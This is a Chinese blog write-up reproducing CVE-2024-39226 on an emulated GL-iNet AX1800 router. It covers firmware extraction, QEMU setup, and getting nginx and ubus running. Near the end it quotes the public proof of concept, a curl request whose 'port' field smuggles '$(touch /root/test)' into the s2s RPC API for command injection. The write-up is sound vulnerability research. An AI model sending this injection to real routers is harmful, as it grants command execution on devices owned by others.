GL-iNet 路由器 CVE-2024-39226漏洞复现
GL-iNet 路由器 CVE-2024-39226经典路由器漏洞复现
固件获得和提取
固件网址:https://fw.gl-inet.cn/firmware/ax1800/v4/openwrt-ax1800-4.5.16-0321-1711030388.tar
file root 发现是一个文件系统
root@muxuecen-virtual-machine:/home/muxuecen/luyouqi/模拟/GL-iNet路由器/sysupgra
de-glinet_ax1800# file root
root: Squashfs filesystem, little endian, version 4.0, xz compressed, 44613986 bytes, 4754 inodes, blocksize: 262144 bytes, created: Thu Mar 21 13:28:00 2024
root@muxuecen-virtual-machine:/home/muxuecen/luyouqi/模拟/GL-iNet路由器/sysupgra
de-glinet_ax1800#
直接binwalk提取
binwalk -Me --run-as==root ./root提取完之后是这样
看一下文件架构
file ./bin/busyboxELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header发现是arm 架构 去找到相应的内核文件 然后进行qemu模拟
QEMU模拟
可行的方案(ubuntu22.04)
到Debian Quick Image Baker pre-baked images下载armhf-virt的链接下载 这是大佬制作好的镜像直接使用就行 有使用教程
可以启动
sudo qemu-system-arm -machine 'virt' -cpu 'cortex-a15' -m 1G -device virtio-blk-device,drive=hd -drive file=image.qcow2,if=none,id=hd -device virtio-net-device,netdev=net -netdev tap,id=net,ifname=tap0,script=no,downscript=no -kernel kernel -initrd initrd -nographic -append "root=LABEL=rootfs console=ttyAMA0"可以启动账号密码是root/root
踩坑操作(ubuntu22.04会报错,ubuntu18.04可以 但是题主卡在内核启动阶段启不动 暂时未解决)
- amd64/ 适用于现代的64位桌面和服务器处理器。
- armel/ 适用于较旧或资源受限的32位ARM设备,不支持硬件浮点。
- armhf/ 适用于支持硬件浮点的较新32位ARM设备,性能更高。
vmlinuz-3.2.0-4-vexpress linux内核镜像文件
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
initrd.img-3.2.0-4-vexpress RAM磁盘映像文件
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
debian_wheezy_armhf_standard.qcow2 虚拟磁盘映像文件
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
sudo wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
sudo wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
sudo wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2setup.sh启动脚本
#!/bin/bash
# 确保脚本以root权限运行
if [ "$(id -u)" -ne 0 ]; then
echo "请使用 sudo 或以 root 用户运行此脚本。" 1>&2
exit 1
fi
# 设置 QEMU 相关参数
MACHINE="vexpress-a9"
CPU="cortex-a15" # 修改为 cortex-a9
KERNEL="vmlinuz-3.2.0-4-vexpress"
INITRD="initrd.img-3.2.0-4-vexpress"
DRIVE="debian_wheezy_armhf_standard.qcow2"
APPEND_OPTIONS="root=/dev/mmcblk0p2"
# 运行 QEMU
sudo qemu-system-arm \
-M $MACHINE \
-cpu $CPU \
-kernel $KERNEL \
-initrd $INITRD \
-drive if=sd,file=$DRIVE \
-append "$APPEND_OPTIONS" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
是因为 SD 卡映像大小(25 GiB)不是2的幂。QEMU 要求 SD 卡的大小必须是2的幂,我们直接将映像大小直接设置为 32 GiB:
qemu-img resize debian_wheezy_armhf_standard.qcow2 32G然后就可以成功启动了 但这是有问题的 启动后 会在挂载那部分报错
网卡搭建
在宿主机中搭建一个网卡 使得qemu和宿主机之间可以通信
net.sh
#!/bin/bash
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Reset iptables
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -P FORWARD ACCEPT
# Set up NAT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# Accept traffic on tap0
sudo iptables -I FORWARD -i tap0 -j ACCEPT
sudo iptables -I FORWARD -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Create and configure tap0
sudo ip tuntap add dev tap0 mode tap
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0 up然后配置qemu虚拟系统的路由,在qemu虚拟系统中运行net.sh并运行。
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254如果没有ifconfig 和 route的话 就用ip
ip addr add 192.168.100.2/24 dev eth0
ip route add default via 192.168.100.254成功实现两个宿主机和qemu机之间互ping
使用scp将squashfs-root文件夹上传到qemu系统中的/root路径下
sudo scp -r squashfs-root/ root@192.168.100.2:/root这里不是root@debian-armhf而是root@192.168.100.2
如果你一直卡在某个地方scp过不去的话 估计要限制一下带宽才可以 可以用下面指令
scp -rvC -o ServerAliveInterval=60 squashfs-root/ root@192.168.100.2:/root如果还是没用的话,因为我就一直卡在内核文件传不过去 就暂时把它挪出文件夹,因为确实是用不到 然后就可以传成功了
挂载文件并启动环境
在使用 QEMU 进行跨架构模拟后,挂载 /proc 和 /dev 文件系统是必要的,因为它们提供了与内核和硬件设备交互的关键接口。/proc 是一个虚拟文件系统,包含关于系统内核、进程和系统状态的动态信息,许多系统工具和应用程序依赖于它来获取系统信息和配置参数,此外,运行在模拟环境中的进程也需要通过 /proc 进行管理和监控。如果不挂载 /proc,相关工具可能无法正常工作或获取必要的信息。另一方面,/dev 目录包含设备特殊文件,代表系统中的硬件设备和虚拟设备,用户空间程序通过它们访问和控制硬件设备,如磁盘驱动器、终端和网络接口等。许多应用程序需要与这些设备交互才能正常运行,例如图形应用需要访问图形设备,编译器可能需要访问终端设备。同时,系统服务如 udev 依赖于 /dev 动态管理设备节点。缺少对 /dev 的挂载,模拟环境中的应用程序将无法访问必要的设备,导致功能受限或无法运行。因此,正确挂载 /proc 和 /dev 确保了模拟环境具备必要的系统接口和设备访问能力,使得各种应用程序和系统工具能够正常运行。
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh漏洞复现
信息收集:/etc/init.d目录通常包含系统启动和管理各种服务的脚本,如果需要启动某个服务,通常可以在该目录中找到相应的脚本
nginx启动脚本信息
#!/bin/sh /etc/rc.common
# Copyright (C) 2015 OpenWrt.org
START=80
USE_PROCD=1
start_service() {
[ -f /etc/init.d/uhttpd ] && {
/etc/init.d/uhttpd enabled && {
/etc/init.d/uhttpd stop
/etc/init.d/uhttpd disable
}
}
[ -d /var/log/nginx ] || mkdir -p /var/log/nginx
[ -d /var/lib/nginx ] || mkdir -p /var/lib/nginx
procd_open_instance
procd_set_param command /usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
procd_set_param file /etc/nginx/nginx.conf
procd_set_param respawn
procd_close_instance
}
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
启动报错
/ # /usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (2: No such file or directory)
2025/02/20 12:09:35 [emerg] 456#0: mkdir() "/var/lib/nginx/body" failed (2: No such file or directory)这一系列的报错都是因为缺少文件 我们手动创建这些文件就好
发现应该是启动了没错 但是页面是404
流程应该没问题 应该是配置错误,分析一下和nginx有关的文件
./etc/rc.d/S80nginx
./etc/uci-defaults/80_nginx-oui
我们留意到上面这两个文件 分别分析
S80nginx
#!/bin/sh /etc/rc.common
# Copyright (C) 2015 OpenWrt.org
START=80
USE_PROCD=1
start_service() {
[ -f /etc/init.d/uhttpd ] && {
/etc/init.d/uhttpd enabled && {
/etc/init.d/uhttpd stop
/etc/init.d/uhttpd disable
}
}
[ -d /var/log/nginx ] || mkdir -p /var/log/nginx
[ -d /var/lib/nginx ] || mkdir -p /var/lib/nginx
procd_open_instance
procd_set_param command /usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
procd_set_param file /etc/nginx/nginx.conf
procd_set_param respawn
procd_close_instance
}
这个
- 通过停止和禁用
uhttpd(如果已安装并启用)来禁用它。这可能是为了避免在(轻量级 HTTP 服务器)正在运行时发生冲突,从而允许接管。uhttpd``nginx - 创建目录:确保 和 存在,这些目录通常用于日志和数据存储。
/var/log/nginx``/var/lib/nginx``nginx procd_open_instance:这将打开服务的新实例。procd_set_param:以下行指定将启动的流程的参数:nginx
command /usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;':此命令使用特定的配置文件启动服务器。nginxfile /etc/nginx/nginx.conf:指定 的配置文件。nginxrespawn:指示在服务意外停止时自动重新启动服务。procd
procd_close_instance:这将关闭服务实例,表明服务已设置为运行。
这里启动和上面那个init文件夹中的启动脚本没太大差距 所以不会是这个
80nginx_oui
. /lib/functions/gl_util.sh
if [ -f "/etc/nginx/oui_nginx.conf" ] && [ -f "/etc/nginx/nginx.conf" ]; then
if [ ! "$(cat '/etc/nginx/nginx.conf' | grep 'oui')" ]; then
mv /etc/nginx/nginx.conf /etc/nginx/nginx.conf_old
mv /etc/nginx/oui_nginx.conf /etc/nginx/nginx.conf
else
rm /etc/nginx/oui_nginx.conf
fi
fi
if [ ! -f "/etc/nginx/nginx.key" ]; then
NGINX_KEY=/etc/nginx/nginx.key
NGINX_CER=/etc/nginx/nginx.cer
OPENSSL_BIN=/usr/bin/openssl
PX5G_BIN=/usr/sbin/px5g
cat << EOF > /etc/ssl/gl.conf
[req]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no
string_mask = utf8only
[req_distinguished_name]
C = HK
ST = Hong Kong
L = Hong Kong
O = GLiNet
CN = console.gl-inet.com
[v3_req]
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
[alt_names]
DNS.1 = console.gl-inet.com
IP.1 = 192.168.8.1
EOF
# Prefer px5g for certificate generation (existence evaluated last)
GENKEY_CMD=""
[ -x "$OPENSSL_BIN" ] && GENKEY_CMD="$OPENSSL_BIN req -x509 -nodes"
[ -x "$PX5G_BIN" ] && GENKEY_CMD="$PX5G_BIN selfsigned"
[ -n "$GENKEY_CMD" ] && {
$GENKEY_CMD -days 730 -newkey rsa:2048 -keyout "${NGINX_KEY}.new" -out "${NGINX_CER}.new" -config /etc/ssl/gl.conf
sync
mv "${NGINX_KEY}.new" "${NGINX_KEY}"
mv "${NGINX_CER}.new" "${NGINX_CER}"
}
fi
if [ -z "$(grep "lua_code_cache off;" /etc/nginx/conf.d/gl.conf)" ]; then
sed -i '/lua_shared_dict sessions 16k;/a lua_code_cache off;' /etc/nginx/conf.d/gl.conf
fi
sed -i 's/keepalive_timeout 0/keepalive_timeout 5/' /etc/nginx/nginx.conf
sed -i 's/resolver 127.0.0.1;/resolver 127.0.0.1 ipv6=off;/' /etc/nginx/conf.d/gl.conf
grep -q "access_log off" /etc/nginx/nginx.conf || sed -i '/^ root \/www;/a \\n access_log off;' /etc/nginx/nginx.conf
sed -i 's/large_client_header_buffers 2 1k;/large_client_header_buffers 2 2k;/' /etc/nginx/nginx.conf
set_nginx_thread
exit 0
- 如果需要,将文件替换为自定义文件。
nginx.conf - 如果 SSL 证书不存在,则生成 SSL 证书。
- 调整多个配置设置,例如 logging、keepalive 和 client 标头缓冲区。
nginx - 该脚本旨在在启动期间或触发时自动执行这些配置。
这个就是nginx的配置脚本 因此我们启动它后再次访问
发现还是没有界面
弄了半天没有搞定CVE-2024-39226 GL-iNet 路由器RPC漏洞复现 - IOTsec-Zone
参考了这个师傅的文章操作
./etc/init.d/boot boot
./etc/uci-defaults/network_gl
./etc/init.d/boot boot就显示网页了
漏洞分析
官方CVE描述
GL-iNet 产品 AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11、MT3000/MT2500/AXT1800/AX1800/A1300/X300B v4.5.16、XE300 v4.3.16、E750 v4.3.12、AP1300/S1300 v4.3.13 和 XE3000/X3000 v4.4 包含一个漏洞,可以利用漏洞通过 s2s API 传递恶意 shell 命令来纵路由器。通过分析可以知道s2s.so 存在漏洞
这里的str是我们可以控制的 但是v5也就是port带的值 限制了要为正数且小于65534 但是,在字符串形式下,它仍然允许嵌入特殊字符,如$()这种
披露的poc是:curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
这样就可以实现本地的利用,这里由于v9可以包含类似7 $(touch /root/test)的字符串,shell 会执行其中的命令touch /root/test,导致命令注入。
直接验证一下poc
发现报错了 于是跟着报错查看 找和rpc有关系的地方
分析一下rpc.lua的代码
这里创建了一个会话管理 如果ubus.call调用成功则返回会话信息 如果失败则 会返回默认的本地会话 即没有会话信息 观察到我们的报错 是没有会话信息的 猜测是ubus.call这部分出了问题 可能是服务没有启动
ubus是OpenWRT中的进程间通信(IPC)机制
/ # /sbin/ubusd
open: No such file or directory这里遇到一个问题 开始我以为是库的问题 发现库什么的全都有 也没缺少
因为我调试是隔了一天的 导致再次启动我忘记挂载了 挂载一下就好了
可以看到/sbin/ubusd启动后 poc还是会报错
到这里其实已经有点没有方向了,这里想到既然是poc 走的nginx报的错 那直接看看日志说不定可以找到问题
手动添加日志文件
/etc/nginx/nginx.conf
Nginx 的主配置文件。它包含了全局配置、HTTP 服务、虚拟主机配置等内容,负责配置 Nginx 的行为和处理请求的方式
/ # cat /tmp/error.log
2025/02/21 11:22:18 [notice] 1665#0: *1 "^/index.html" does not match "/rpc", client: 127.0.0.1, server: , request: "POST /rpc HTTP/1.1", host: "127.0.0.1"
2025/02/21 11:22:18 [crit] 1665#0: *1 connect() to unix:/var/run/ngx-ubus-proxy.sock failed (2: No such file or directory), client: 127.0.0.1, server: , request: "POST /rpc HTTP/1.1", host: "127.0.0.1"
2025/02/21 11:22:18 [debug] 1665#0: *1 [lua] rpc.lua:157: call(): call: 's2s.enable_echo_server'
2025/02/21 11:22:18 [debug] 1665#0: *1 [lua] rpc.lua:127: call C: 's2s.enable_echo_server'
2025/02/21 11:22:18 [notice] 1665#0: *1 "^/index.html" does not match "/cgi-bin/glc", client: 127.0.0.1, server: , request: "POST /rpc HTTP/1.1", subrequest: "/cgi-bin/glc", host: "127.0.0.1"
2025/02/21 11:22:18 [crit] 1665#0: *1 connect() to unix:/var/run/fcgiwrap.socket failed (2: No such file or directory) while connecting to upstream, client: 127.0.0.1, server: , request: "POST /rpc HTTP/1.1", subrequest: "/cgi-bin/glc", upstream: "fastcgi://unix:/var/run/fcgiwrap.socket:", host: "127.0.0.1"
2025/02/21 11:22:18 [info] 1665#0: *1 client 127.0.0.1 closed keepalive connection/var/run/ngx-ubus-proxy.sock failed,/var/run/fcgiwrap.socket failed
是ubus和fcgiwrap服务的问题
分别同时启动
这回就成功了
到这里漏洞算是复现成功了